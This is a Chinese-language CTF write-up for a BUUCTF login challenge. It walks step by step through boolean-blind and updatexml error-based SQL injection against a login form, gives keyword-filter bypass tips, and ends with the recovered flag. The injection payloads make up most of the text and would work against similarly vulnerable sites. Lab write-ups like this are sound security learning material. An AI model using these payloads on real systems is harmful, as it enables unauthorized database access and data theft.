前言
请原谅我发出一点不友好的声音:
每个人无论是做完题了,还是没做完题,他只要是想进步,都会搜一下WP,尤其是BUUCTF的WP更有必要搜一下,为的是更标准、更多的思路,不成想我搜索发现,清一色!
思路一摸一样,用的函数一模一样,更甚之有的连思路都没有,上来就报错注入,生怕别人不知道他是抄的wp。。。令人无语!
我写的这个是我自己的思路,权当是留作笔记吧,或者是一点不健康的牢骚。。。
知识点
- 报错注入:
使xml路径不存在而报错(存在特殊字符)
updatexml(目标xml内容, xml路径, 更新内容)
在路径处加入查询语句,用拼接函数与特殊符号(~
)拼接在一起,使其报错并执行查询语句 - length()
返回字符串长度 - ascii()
使字符返回为ASCII - substr()
其中有三个参数:substr(字符串,n,m)
将字符串从第n
位开始切m
个 - concat()
拼接函数,将字符串拼接在一起
wp
有两个页面,一个是login.php
,一个是user.php
,进入第一个,是一个登录框,注释里写着让抓包并且?tips=1
开启错误提示(暗示报错注入)
判断注入类型
name=123&pass=123
,回显是\u8d26\u53f7\u4e0d\u5b58\u5728
,unicode解码就是账号不存在
name=admin&pass=123
,回显是\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef
,解码就是账号或密码错误
尝试发现:
union、select、or等字符被过滤(可以大小写、双写绕过)
闭合方式是'
第一个想到布尔盲注
name=admin' and length((Select table_name from information_schema.tables where table_schema=database() limit 0,1))>1 -- qwe&pass=123
成功,可以布尔盲注(密码错误则为true
,不存在则为false
)
这里要注意一点:①用and
连接;②子查询要再套一层括号
布尔盲注查表名
- 判断表名长度:
name=admin' and length((Select table_name from information_schema.tables where table_schema=database() limit 0,1))=4 -- qwe&pass=123
- 爆表名(只需要改变
substr(字符串,n,1)
中的n
,来切不同的位置)
第一位:admin' and ascii(substr((Select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=102 -- qwe
=> f
第二位:admin' and ascii(substr((Select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=108 -- qwe
=> l
第三位:admin' and ascii(substr((Select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=52 -- qwe
=> 4
第四位:admin' and ascii(substr((Select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=103 -- qwe
=> g
报错注入
在查的过程中我感觉太慢了(不能用burp爆,429
)
想到刚才开了错误提示,可以报错注入:admin' and updatexml(1,concat('~',database()),1) -- qwe'
可以报错注入
刚才查过表了,直接查字段(子查询):(Select column_name from information_schema.columns where table_schema=database() and table_name='fl4g' limit 0,1)
得到flag
表
查数据,拼接函数里的子查询:(Select flag from fl4g limit 0,1)
得到:n1book{login_sqli_is_nice}